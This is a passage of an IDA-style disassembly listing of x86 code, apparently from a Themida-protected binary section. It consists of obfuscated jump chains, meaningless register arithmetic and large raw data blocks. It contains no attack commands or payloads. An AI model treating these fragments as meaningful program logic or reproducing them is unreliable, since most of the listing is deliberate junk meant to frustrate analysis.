add esp, 4
jmp loc_54EE72
; ---------------------------------------------------------------------------
dw 0B050h
dd 8E8C033h, 0FFA93EE9h, 24248BFFh, 9C2404FEh, 0FF5F29E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E661: ; CODE XREF: Themida_:0054F8FAj
not eax
xor edx, eax
xor eax, edx
xor edx, eax
jmp loc_54E174
; ---------------------------------------------------------------------------
loc_54E66E: ; CODE XREF: Themida_:0054E616j
sub edx, eax
pop eax
neg edx
jmp loc_545A2B
; ---------------------------------------------------------------------------
dd 931ABD55h, 0E8296149h, 0FF2434FFh, 835D2434h, 0E95104C4h
dd 152Dh, 1B2BB53h, 1DE94BCEh, 50FFFFA3h, 0CFBE952h, 0DABE0000h
dd 81059E51h, 51852E6h, 0E6B95151h, 31340F7Eh, 0EEC159CEh
dd 60E95304h, 0E9FFFF93h, 0FFFF5EC6h, 5C240487h, 0FFDFF7E9h
dd 4BE381FFh, 0F73D665Dh, 9D4AE9DBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E6DA: ; CODE XREF: Themida_:00546085j
mov [esp], edx
mov edx, ebx
push edx
jmp loc_544969
; ---------------------------------------------------------------------------
db 81h, 0C5h, 8Ch
dd 8117BE00h, 0D919C4EDh, 81CD013Bh, 0D919C4C5h, 8CED813Bh
dd 5917BE00h, 0FF740FE9h, 0FC009FFh, 0FFB78C84h, 241D68FFh
dd 1C890000h, 73BE5624h, 31063F57h, 5E042474h, 18D4E9h
dd 4C48300h, 9BB5352h, 0C105B976h, 96E902EBh, 87FFFFFFh
dd 8F5C2414h, 59E92404h
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E743: ; CODE XREF: Themida_:0054E399j
add esi, 587A093Bh
jmp loc_54AF84
; ---------------------------------------------------------------------------
loc_54E74E: ; CODE XREF: Themida_:0054B459j
push eax
mov eax, ebp
jmp loc_546D59
; ---------------------------------------------------------------------------
dw 0ABB9h
dd 0F7126472h, 5CE181D1h, 8119C278h, 9D5D96E1h, 36C9811Ah
dd 55239847h, 0BDh, 0E9CD2900h, 0FFFF90F5h, 504F000h, 8124148Bh
dd 4C4h, 5E2EE900h, 0E959FFFFh, 0FFFF5DF6h, 83242C8Bh
dd 565B04C4h, 0FF6635E9h, 0E78957FFh, 6E4968h, 7B6FE900h
dd 875BFFFFh, 0FCE9240Ch, 89FFFF84h, 4C581E5h, 83000000h
dd 2C8704C5h, 18E95C24h
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E7CB: ; CODE XREF: Themida_:00546266j
pop ecx
jmp loc_54C1C9
; ---------------------------------------------------------------------------
db 81h, 0F3h, 0B4h
dd 870EB45Eh, 87D1F7CBh, 0C1D3F7CBh, 0E907E3h, 68FFFFD1h
dd 1C1A6B08h, 246C8159h, 0B370FC04h, 0EAE95029h, 81FFFFB4h
dd 4C1h, 29B85000h, 0E9781953h, 0FFFFDC9Bh, 0A0C1CBDh
dd 246C014Ch, 242C8B04h, 0FFF127E9h, 24248BFFh, 0FFBA1FE9h
dd 2434FFFFh, 5E2434FFh, 1BF9E9h, 48B6600h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_547084
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 3EC968h, 0D203E900h, 0E950FFFFh, 1D7Dh, 83242C8Bh, 48F04C4h
dd 24248B24h, 24048B66h, 0FCE95552h, 57FFFF65h, 4D242C81h
dd 5A28D57Eh, 7E4DC281h, 13E928D5h, 89FFFFAAh, 6BB241Ch
dd 0E90EED4Ah, 0FFFF785Bh
; ---------------------------------------------------------------------------
loc_54E894: ; CODE XREF: Themida_:0054539Ej
xor edi, [esp]
pop esp
jmp loc_54C12F
; ---------------------------------------------------------------------------
db 59h, 50h, 89h
dd 6574E9E0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E8A6: ; CODE XREF: Themida_:0054CAA8j
add eax, ebp
pop ebp
xchg eax, [esp]
pop esp
sub ebp, 3CC32AB2h
xor ebp, 56C0FD2Ah
mov edi, ebp
pop ebp
and ecx, edi
push dword ptr [esp]
jmp loc_54DA1D
; ---------------------------------------------------------------------------
dw 5147h
dd 4A1B48B9h, 59CF3187h, 0FFFF9EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E8D5: ; CODE XREF: Themida_:0054B906j
pop esi
push ebx
mov ebx, 76CC027Bh
push eax
mov eax, 3FE11091h
or ebx, eax
pop eax
jmp loc_54DB4F
; ---------------------------------------------------------------------------
dw 0C483h
dd 0E9192C02h, 0FFFFCCB9h, 0E84DE950h, 0E983FFFFh, 240C8704h
dd 2404895Ch, 0B951E089h, 1312765Dh, 65C8E981h, 0C1812D00h
dd 19EDEF6Fh, 4E697C2Dh, 8254E923h, 0CBDFFFFh, 8100FA68h
dd 0F63D20E5h, 9ED8153h, 298ABCA8h, 242C8BE8h, 4C481h
dd 0EF810000h, 65A76641h, 0CDE9C701h, 0C1FFFFB5h, 0C78108EFh
dd 0FB12F1F1h, 0FFD310E9h, 5C801FFh, 3D005DFAh, 697CBB53h
dd 0D801234Eh, 32E9595Bh, 89FFFFC1h, 0BE562414h, 20B06642h
dd 0D6E9F289h, 89000019h, 2BD242Ch, 2D000000h, 70922143h
dd 0FF6782E9h, 0BB5358FFh, 0CF3DBC0Eh, 0FFB2D7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E99D: ; CODE XREF: Themida_:0054F5F1j
xor ecx, 464D6513h
sub [esp+4], ecx
pop ecx
pop eax
push ebp
mov ebp, 47486539h
jmp loc_54618C
; ---------------------------------------------------------------------------
dd 15FCEB81h, 0BF5765F4h, 68036D9h, 3C8BF829h, 0E1895124h
dd 0FF6BE6E9h, 56B151FFh, 0E959C800h, 0FFFFE881h, 5424248Bh
dd 0FF5D72E9h, 4C481FFh, 8F000000h, 248B2404h, 2434FF24h
dd 72685158h, 0E9000019h, 0FFFFF8BBh, 42474FFh, 24048F5Eh
dd 0FF7EF6E9h, 2434FFFFh, 51240C8Bh, 0C181E189h, 4, 1334BB53h
dd 0D3E911D3h, 89FFFFC2h, 1CBA2414h, 81000000h, 4A74ECEAh
dd 81FA0174h, 4A74ECC2h, 8132FF74h, 0CB62434h, 34FF78B8h
dd 240C8B24h, 5004C483h, 405E089h, 83000000h, 6EE904C0h
dd 0F7FFFF61h, 87E942D2h
db 80h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EA63: ; CODE XREF: Themida_:005483FEj
add edi, 150F12F8h
pop ecx
or edx, edi
mov edi, [esp]
add esp, 4
and edx, 12BC4CB9h
jmp loc_545400
; ---------------------------------------------------------------------------
loc_54EA80: ; CODE XREF: Themida_:0054B585j
sub ebx, edx
sub ebx, 0D193057h
jmp loc_54957D
; ---------------------------------------------------------------------------
db 55h, 0BDh, 50h
dd 45464E3Eh, 0B084F581h, 0E93153B3h, 14FDE9h, 74FF5200h
dd 4E90424h, 83FFFF83h, 0EF8104C4h, 4D6C1ACDh, 335FFA01h
dd 14312414h, 5DB4E924h, 0B70FFFFFh, 0E38953C0h, 0FFB983E9h
dd 81E189FFh, 4C1h, 8788E900h, 0EBC1FFFFh, 8EEB8104h, 813E2221h
dd 8D1081EBh, 5BDF299Ch, 0FFD337E9h, 37E951FFh, 5000000Ah
dd 0DE51E3B8h, 2ADC2D5Fh, 685552A1h, 0B171CD6h, 5DE8295Dh
dd 0FFC8FAE9h, 6B151FFh, 80BAF180h, 53667EC1h, 0D93090B3h
dd 0D9F65B66h, 8002E9C0h, 0CF30E7F1h, 0B5516659h, 0E9E82816h
dd 0FFFF62D1h, 28E9D028h, 28FFFF8Bh, 61C0E9F8h, 0E5C1FFFFh
dd 0E9E5D103h, 0FFFFBD3Ah
; ---------------------------------------------------------------------------
loc_54EB50: ; CODE XREF: Themida_:0054879Aj
shl ebp, 7
jmp loc_55004A
; ---------------------------------------------------------------------------
dd 0B753665Ch, 0E9F830AEh, 0FFFFE308h, 643E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EB6A: ; CODE XREF: Themida_:00547069j
add ecx, 0FE37C19Dh
add ebp, ecx
pop ecx
add ebp, 5229DF34h
sub [edi+24h], ebp
pop ebp
push esi
push esp
pop esi
push ebp
jmp loc_54A7BB
; ---------------------------------------------------------------------------
dw 0CA01h
dd 0FFAD99E9h, 2EC83FFh, 24148966h, 0FF93BCE9h, 2474FFFFh
dd 5FEEE904h, 3C33FFFFh, 243C3124h, 5C243C33h, 0FFB1C8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EBB1: ; CODE XREF: Themida_:005500E6j
xchg esi, [esp]
pop esp
push 4F5Dh
mov [esp], eax
push esp
jmp loc_54754D
; ---------------------------------------------------------------------------
db '\h:(',0
dd 243C8900h, 56505F54h, 5D510FBEh, 5EF08973h, 0A2AEF505h
dd 58C7018Ch, 8704C783h, 815C243Ch, 4C4h, 2434FF00h, 6824148Bh
dd 0D63h, 89242C89h, 0BF5750E5h, 50C8377Ch, 0CF81EFD1h
dd 44D02728h, 0AB4E781h, 0EF813D87h, 0D943BB92h, 0E2E9F889h
dd 59FFFF61h, 0FFC8D9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EC25: ; CODE XREF: Themida_:0054D137j
mov ch, bh
pop ebx
xor ch, ah
pop eax
add ch, 0CFh
add al, 0F8h
add al, ch
sub al, 0F8h
push dword ptr [esp]
jmp loc_549813
; ---------------------------------------------------------------------------
dd 5AD1285Bh, 66E4E980h, 0DA55E953h, 0E959FFFFh, 0FFFFF786h
dd 0E987048Fh, 0FFFF5932h
; ---------------------------------------------------------------------------
loc_54EC58: ; CODE XREF: Themida_:005486C9j
add edi, esi
jmp loc_549D6E
; ---------------------------------------------------------------------------
db 83h
dd 8F5404ECh, 0EC812404h, 4, 0BD242C89h, 4, 4246C01h, 83242C8Bh
dd 815D04C4h, 4C5h, 2B85000h, 1000000h, 2434FFC5h, 4C48158h
dd 87000000h, 248B242Ch, 243CD224h, 92CBE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ECA6: ; CODE XREF: Themida_:0054B612j
shl edx, 1
push 4D8Fh
mov [esp], ebp
push 1
pop ebp
add [edi+24h], ebp
push dword ptr [esp]
jmp loc_545C39
; ---------------------------------------------------------------------------
db 0BFh, 36h, 3Eh
dd 182D0174h, 29354E1Fh, 1F1805F8h, 55F354Eh, 68036D9h
dd 0E9241C8Bh, 0FFFFBB38h
; ---------------------------------------------------------------------------
loc_54ECE0: ; CODE XREF: Themida_:0054FF3Cj
push esp
pop ebp
push edi
mov edi, 664F6A21h
add edi, 1C42AB3h
add edi, 1
jmp loc_547FE4
; ---------------------------------------------------------------------------
dw 0ED68h
dd 5B35AB67h, 895BD889h, 9B9BE9C1h, 7FE9FFFFh, 81FFFF58h
dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E389241Ch, 0DE69E950h
dd 815FFFFFh, 1A0092CBh, 0A1B85061h, 29549CEAh, 0DA0158C3h
dd 0A0BD555Bh, 1255018h, 242C8BEAh, 0FFD381E9h, 24048FFFh
dd 5224248Bh, 800FB353h, 0E951A5F3h, 0FFFFD2A0h, 8F04C483h
dd 815C2404h, 64466CC3h, 43BE5605h, 0E96C4A1Ch, 0FFFF675Fh
dd 46C368h, 0A728E900h, 1C8BFFFFh, 0E81BE924h, 0EB80FFFFh
dd 0C3285A56h, 80F2C380h, 0E5E9FAC3h, 0C0FFFFB1h, 72E902ECh
dd 33FFFFC2h, 3C31243Ch, 243C3324h, 0D224248Bh, 0E99C2424h
dd 0FFFF57D6h, 0C681E689h, 4, 0FFCA8EE9h, 7DC181FFh, 8133C75Eh
dd 0DD9866F1h, 3BEB8157h, 1272978h, 3BC381CBh, 59272978h
dd 0FFC5FDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EDE1: ; CODE XREF: Themida_:0054F43Bj
add edi, eax
pop eax
sub esp, 4
mov [esp], ebp
jmp loc_546F95
; ---------------------------------------------------------------------------
db 53h
dd 0D3F6F388h, 0E95BDE88h, 0C7Dh
; ---------------------------------------------------------------------------
loc_54EDFC: ; CODE XREF: Themida_:00548B3Dj
or eax, 0FD92C3Fh
jmp loc_5475DF
; ---------------------------------------------------------------------------
loc_54EE06: ; CODE XREF: Themida_:0054F21Dj
sub ecx, ebp
pop ebp
push ebx
jmp loc_546731
; ---------------------------------------------------------------------------
db 81h
dd 3EB9CCEEh, 5EF33185h, 2DD9BF57h, 81474E5Dh, 83DC29C7h
dd 5FFA01D7h, 0FFE9E3E9h, 24048FFFh, 0FFAFF4E9h, 1C8966FFh
dd 74FF6624h, 8B660224h, 0C481241Ch, 2, 0FF9BEBE9h, 815B59FFh
dd 5133ECC3h, 81C3015Ch, 5133ECEBh, 0C381585Ch, 2, 2474FF53h
dd 48F5B04h, 6384E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EE72: ; CODE XREF: Themida_:0054E645j
push 4E8Bh
mov [esp], ebp
jmp loc_54B5D6
; ---------------------------------------------------------------------------
db 1
dd 2A2E05F8h, 0E95F3CA8h, 0FFFF5A04h, 240C8B66h, 5B6F68h
dd 24148900h, 6850E289h, 0C157DD8h, 8324048Bh, 0E0C104C4h
dd 0D833E905h, 5468FFFFh, 0E9000048h, 0FFFFA4BCh, 0E95AD001h
dd 0FFFF6821h
; ---------------------------------------------------------------------------
loc_54EEC0: ; CODE XREF: Themida_:005468EAj
mov ecx, 75456851h
inc ecx
sub ecx, 7545684Eh
add esi, ecx
pop ecx
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_5468F6
; ---------------------------------------------------------------------------
loc_54EEE3: ; CODE XREF: Themida_:005475E5j
and esi, 27DA62CDh
xor esi, 41926296h
and eax, esi
jmp loc_549786
; ---------------------------------------------------------------------------
loc_54EEF6: ; CODE XREF: Themida_:0054CDD7j
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5467CD
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 0E9E78957h, 0FFFFBEABh, 5F2414F7h, 5DBEEF81h, 0FA29795Fh
dd 0FFF403E9h, 8BDF89FFh, 0C6E9241Ch, 81FFFFE2h, 3E78ACCBh
dd 7EC3813Bh, 0E9DDB542h, 0FFFFBD2Dh, 0E13043B4h, 66E1D058h
dd 667BD668h, 0B0240489h, 66C10820h, 0C8885058h, 0FF851DE9h
dd 0E8015DFFh, 0FFC551E9h, 2EE953FFh, 0FFFF67h, 24048BE7h
dd 4C481h, 0F8000000h, 0E920045Bh, 20Bh, 0FF560DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EF7D: ; CODE XREF: Themida_:0054B695j
pop esi
xor edx, 7F4D6703h
jmp loc_544AA3
; ---------------------------------------------------------------------------
loc_54EF89: ; CODE XREF: Themida_:00549075j
add esi, edi
mov edi, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_5495E7
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aQhuw db '$QhUW',0
dw 8900h
dd 4832424h, 68590424h, 7087h, 0FFCBA2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EFD5: ; CODE XREF: Themida_:0054C68Dj
add edx, ecx
mov ecx, [esp]
add esp, 4
loc_54EFDD: ; CODE XREF: Themida_:005472ACj
; Themida_:0054CF7Aj
push dword ptr [edi+24h]
push dword ptr [esp]
mov ecx, [esp]
push ebp
mov ebp, esp
push ecx
mov ecx, 63A9767Ch
shl ecx, 7
and ecx, 7FDE56FFh
not ecx
dec ecx
dec ecx
not ecx
sub ecx, 549A15FEh
add ebp, ecx
pop ecx
push edx
mov edx, 73024D70h
not edx
dec edx
jmp loc_544AD0
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 83000000h, 2C8904ECh, 815D5424h, 4C5h, 4C58100h, 87000000h
dd 248B242Ch, 4EC8124h, 0E9000000h, 0FFFF8728h, 0D10860B2h
dd 0FF9F27E9h, 0E38143FFh, 38A453A7h, 4B03E3C1h, 0C381EBD1h
dd 774BF330h, 5AE9DD29h, 89FFFFBDh, 4C781E7h, 51000000h
dd 0FFC161E9h, 52515FFFh, 0FF6E5CE9h, 20CA81FFh, 0C1545911h
dd 0F28108E2h, 0FFF13304h, 535AD701h, 7BEB6856h, 465E585Dh
dd 0B4DE9h, 4E1C100h, 462CC181h, 0C1811B33h, 0BE91436h
dd 3BEFF181h, 0C1815FF3h, 0FFFFFFFFh, 9F8DC181h, 0BA52AD23h
dd 66DB4CCCh, 0FF95A0E9h, 50665DFFh, 0D30DB866h, 66C20166h
dd 0D0296658h, 29665A66h, 665266D8h, 66274DBAh, 5A66D001h
dd 8904EC83h, 6866243Ch, 0D9E93C95h, 4FFFF55h, 58C230E1h
dd 0F8E9D000h
db 85h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F0FF: ; CODE XREF: Themida_:0054DB8Bj
add esp, 4
jmp loc_54CD75
; ---------------------------------------------------------------------------
db 0B1h
dd 6CB652C8h, 2846C180h, 46E980F1h, 0B4E9505Ah, 0E9FFFFA3h
dd 0FFFF546Ah
; ---------------------------------------------------------------------------
loc_54F120: ; CODE XREF: Themida_:00549648j
shl ebx, 7
and ebx, 14213EE7h
sub ebx, 12E7Ch
add ebp, 2CA1720Fh
add ebp, ebx
jmp loc_5449F9
; ---------------------------------------------------------------------------
dd 68242C89h, 10CD4BCCh, 832E9h
db 0
; ---------------------------------------------------------------------------
loc_54F149: ; CODE XREF: Themida_:0054A154j
mov esi, 68F9211Dh
push ebx
mov ebx, 449E7704h
dec ebx
dec ebx
push esi
mov esi, 7EC175A2h
or ebx, esi
pop esi
shl ebx, 5
jmp loc_54A74A
; ---------------------------------------------------------------------------
db 87h
dd 335C242Ch, 4312404h, 0A25AE924h, 0C801FFFFh, 8904EC83h
dd 0A7E9241Ch, 28FFFF7Bh, 0EE49E9D8h, 5966FFFFh, 0E9F7E980h
dd 0FFFFC21Fh, 0FF58C131h, 0F7E92434h, 2800000Fh, 148B66F3h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_547F76
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C48159h, 68000000h, 3D03h, 0E9240489h, 0FFFF53C6h
dd 8904EC83h, 58542404h, 405h, 5FFEE900h, 0E981FFFFh, 4B61723Ah
dd 0FF168h, 0B4FBE900h, 0CB01FFFFh, 75E90303h, 66FFFFF9h
dd 68240C8Bh, 74C1h, 51240C89h, 0C181E189h, 4, 4E981h
dd 0FF510000h, 59042474h, 0FF91EEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F215: ; CODE XREF: Themida_:0054941Dj
mov [esp], ebp
mov ebp, 4
jmp loc_54EE06
; ---------------------------------------------------------------------------
loc_54F222: ; CODE XREF: Themida_:00545DC8j
mov eax, 111C6677h
push ebp
mov ebp, 41352FBFh
jmp loc_54DC48
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48324h, 8B24048Fh, 1C892424h, 16824h, 215B0000h, 2434FFD8h
dd 4C4835Bh, 0E2D1C209h, 43BE68h, 240C8900h, 0BC20F8B9h
dd 0AC1E96Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F266: ; CODE XREF: Themida_:0054A0D0j
mov [esp], ebx
mov eax, [esp]
sub esp, 4
jmp loc_5468BC
; ---------------------------------------------------------------------------
loc_54F277: ; CODE XREF: Themida_:0054D23Cj
mov [esp], edx
push eax
push 37EC1631h
pop eax
add eax, 0C813E9D3h
mov edx, eax
pop eax
jmp loc_5459D3
; ---------------------------------------------------------------------------
dw 1487h
dd 85665C24h, 0EFE99CC8h, 0BFFFFF52h, 34C04E38h, 12EE68h
dd 7A22E900h, 34FFFFFFh, 0C283E924h, 0BB53FFFFh, 4, 875BDF01h
dd 72E9243Ch, 56FFFFEBh, 3A5DEEBEh, 0DCE95568h, 89FFFFF0h
dd 56B9240Ch, 0E95616F9h, 0FFFF60AAh, 0DCFBE951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F2E2: ; CODE XREF: Themida_:0054F327j
add ebp, 4
push edx
mov edx, 27375D5h
or edx, 5B8E6F74h
shl edx, 8
add edx, 800B04h
sub ebp, 5D1118BEh
add ebp, edx
add ebp, 5D1118BEh
jmp loc_548DC7
; ---------------------------------------------------------------------------
dd 1E2FB951h, 0B0E904A8h, 89FFFFC7h, 0D3EEE9E6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F322: ; CODE XREF: Themida_:0054A36Ej
mov [esp], ebp
mov ebp, esp
jmp loc_54F2E2
; ---------------------------------------------------------------------------
dd 5104C483h, 17738DB9h, 7E9C103h, 436E181h, 0BB536BBBh
dd 20422h, 515BD929h, 0B856BFB9h, 0EE5CE90Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F352: ; CODE XREF: Themida_:0054AA4Dj
push ebx
pop dword ptr [edi+24h]
pop ebx
sub ebx, 0FFFFFFFFh
push dword ptr [edi+24h]
push 7424h
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_548EEE
; ---------------------------------------------------------------------------
db 4, 0C0h, 0E9h
dd 0FFFFCAEFh, 4C481h, 48F0000h, 24248B24h, 0FFE81AE9h
dd 802DB6FFh, 0EE809ACEh, 97EE807Bh, 0E95AF088h, 0FFFF897Eh
; ---------------------------------------------------------------------------
loc_54F3B0: ; CODE XREF: Themida_:0054877Ej
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_54A150
; ---------------------------------------------------------------------------
db 58h, 0C0h, 0EAh
dd 0E7C28003h, 8602E2C0h, 0E9D8F6C2h, 0FFFFB9BFh, 9C240420h
dd 0FF51B1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F3D9: ; CODE XREF: Themida_:00547D4Bj
xor ebx, ecx
jmp loc_54475B
; ---------------------------------------------------------------------------
dd 4A7505ADh, 262D5326h, 109446Fh, 6F2605D8h, 0BE560944h
dd 6A475683h, 0C14ED6F7h, 0D9E904EEh
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F403: ; CODE XREF: Themida_:0054B826j
add edx, 4
add edx, 4
jmp loc_549984
; ---------------------------------------------------------------------------
db 58h, 8Fh, 4
dd 4D25C24h, 6BE99C24h, 33FFFF51h, 2BE9241Ch
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F427: ; CODE XREF: Themida_:00547D3Bj
xor eax, 2915604Dh
xor eax, 43273029h
add eax, 1E1526AAh
add eax, 9EBFD74Ch
jmp loc_54EDE1
; ---------------------------------------------------------------------------
loc_54F440: ; CODE XREF: Themida_:00548C32j
push dx
jmp loc_54A7AC
; ---------------------------------------------------------------------------
db 5Eh
dd 0FEEA81h, 0EA816C70h, 143B0190h, 0C281F201h, 143B0190h
dd 0FEC281h, 0E95E6C70h, 0FFFFB466h, 0E9F3015Dh, 0FFFF63A5h
dd 0A950F4BDh, 5DEF296Ah, 0BE5E9h, 240C8B00h, 404C483h
dd 0E9D82805h, 0FFFFC13Fh, 24BAh, 80BB5300h, 83541637h
dd 4B43FFEBh, 0A6EB8143h, 0E94124C0h, 0FFFF86AEh
; ---------------------------------------------------------------------------
loc_54F4A8: ; CODE XREF: Themida_:0054AEDEj
sub ebp, 0F342A656h
jmp loc_54A261
; ---------------------------------------------------------------------------
db 0FEh
dd 0CAEC80C4h, 205CC480h, 28E958E3h, 29FFFFE4h, 2BCB2DC8h
dd 34FF6814h, 0C4835924h, 114F0504h, 15E90C26h, 0BFFFFF55h
dd 236C674Ah, 0E95FF829h, 0FFFFC670h
; ---------------------------------------------------------------------------
loc_54F4E8: ; CODE XREF: Themida_:005472D3j
xor edi, 0D124B16h
sub eax, edi
pop edi
add eax, ebp
add eax, 69CD290Fh
push ecx
mov ecx, 556D281Ah
sub eax, ecx
pop ecx
push dword ptr [esp]
jmp loc_54A8B0
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 0FFFFBF4Ah, 0E95AD001h, 0FFFF815Eh
; ---------------------------------------------------------------------------
loc_54F51C: ; CODE XREF: Themida_:00544CCDj
push ebx
mov ebx, 4
add edi, ebx
pop ebx
xchg edi, [esp]
pop esp
jmp loc_54AFA3
; ---------------------------------------------------------------------------
dw 0D368h
dd 596CD846h, 45FCE981h, 0CF89F5FFh, 78EF8159h, 4716D032h
dd 20B2CF81h, 0DFF74CEDh, 0ADC78147h, 31A06157h, 0B2D1E9FBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F55A: ; CODE XREF: Themida_:00545BC2j
push ecx
mov ecx, 78831AEAh
xor ebp, ecx
pop ecx
and eax, ebp
mov ebp, [esp]
add esp, 4
or eax, eax
jz loc_54A22E
sub esp, 4
mov [esp], eax
push esi
mov esi, 1Ch
push esi
push ecx
mov ecx, 4DB22D2Ah
push 0
jmp loc_54A513
; ---------------------------------------------------------------------------
dw 0E959h
dd 0FFFF59EEh, 601AD32Dh, 68D8016Ch, 5D12h, 83242C89h
dd 8AE904ECh, 4BFFFFDEh, 0FFAFEBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F5B9: ; CODE XREF: Themida_:0054E541j
mov ebp, 0FFFFFFFFh
sub esp, 4
mov [esp], ebx
mov ebx, 59C56C6Fh
add ebx, 0FBA7BBABh
add eax, ebx
pop ebx
push edi
mov edi, 6B461504h
jmp loc_54848B
; ---------------------------------------------------------------------------
loc_54F5DD: ; CODE XREF: Themida_:0054474Ej
push 40000h
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
jmp loc_54D3BB
; ---------------------------------------------------------------------------
loc_54F5EE: ; CODE XREF: Themida_:0054A529j
shr ecx, 5
jmp loc_54E99D
; ---------------------------------------------------------------------------
dw 0BF57h
dd 2, 24360005h, 6137E90Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F606: ; CODE XREF: Themida_:0054CD24j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55057C
; ---------------------------------------------------------------------------
db 4Fh, 97h, 0F7h
dd 0AAB7E9D0h, 0EA81FFFFh, 4D9B5045h, 83243C8Bh, 72E904C4h
dd 89FFFFF4h, 90C6E9C5h, 81ACFFFFh, 2ECh, 0C896600h, 0E97EB124h
dd 0FFFFAC9Ah, 4EC81h, 34890000h, 3B2E924h, 0EC810000h
dd 4, 0BD242C89h, 731207ACh, 505DEA29h, 0F4F7FB8h, 50D0F71Bh
dd 582414F7h, 2A42E135h, 58C22938h, 0FF4F09E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F681: ; CODE XREF: Themida_:0054A46Dj
push ebp
mov ebp, 6E47282h
shl ebp, 4
shl ebp, 4
jmp loc_550461
; ---------------------------------------------------------------------------
dw 0CF81h
dd 61AA0DE0h, 5E42BD55h, 0EF093C31h, 3DC7815Dh, 5049EA25h
dd 0A6052B68h, 0CFEE9C7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F6B2: ; CODE XREF: Themida_:005494CAj
mov eax, [esp]
add esp, 4
add esp, 4
sub bl, al
jmp loc_5447A7
; ---------------------------------------------------------------------------
dw 0C381h
dd 4BC764E2h, 48B5EB81h, 0EB810C70h, 41DC1F01h, 6BE7BD55h
dd 0EB0174E8h, 0A2B9515Dh, 50443731h, 62B4BD55h, 0E8895A62h
dd 0FF6419E9h, 0E9CA29FFh, 0FFFFA90Ah, 6A4604BAh, 71EDE933h
dd 5266FFFFh, 0C6FE61B6h, 756CE952h, 0C87FFFFh, 0CAADE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F716: ; CODE XREF: Themida_:00548023j
not dword ptr [esp]
push dword ptr [esp]
jmp loc_5452C3
; ---------------------------------------------------------------------------
db 68h, 8Ch, 63h
dd 0CE90000h
db 95h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F72B: ; CODE XREF: Themida_:00544AACj
mov eax, 0C60D4E67h
xor eax, ecx
pop ecx
sub ebx, eax
pop eax
jmp loc_548FA2
; ---------------------------------------------------------------------------
db 5Dh
dd 2C8BE901h, 4C48324h, 0FF518BE9h, 4E3CE9FFh, 487FFFFh
dd 0F402E924h, 489FFFFh, 7D31E924h, 0C581FFFFh, 4, 2474FF55h
dd 93E95D04h, 81FFFFDCh, 85090CC1h, 0AAE0E9E4h, 0E951FFFFh
dd 6Eh, 0CB80D3F6h, 0DCEB8014h, 0FF51E8E9h, 674A05FFh
dd 565F236Ch, 0C681E689h, 4, 0FF9BF6E9h, 0E9D329FFh, 0FFFF6E02h
dd 6624248Bh, 8324048Bh, 148904ECh, 7447E924h, 8B66FFFFh
dd 0E953240Ch, 0FFFF6A5Bh
; ---------------------------------------------------------------------------
loc_54F7C4: ; CODE XREF: Themida_:005463ECj
push 7542h
jmp loc_54747A
; ---------------------------------------------------------------------------
loc_54F7CE: ; CODE XREF: Themida_:005450E5j
add esi, 703564C7h
add ebp, esi
pop esi
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 6134h
mov [esp], esp
jmp loc_54B58A
; ---------------------------------------------------------------------------
dw 0E1B9h
dd 81207404h, 0ED63FBE1h, 0D2CEE939h, 0F301FFFFh, 282E95Eh
dd 0E5890000h, 0FF7991E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F80D: ; CODE XREF: Themida_:00547328j
push dword ptr [esp]
jmp loc_5471FB
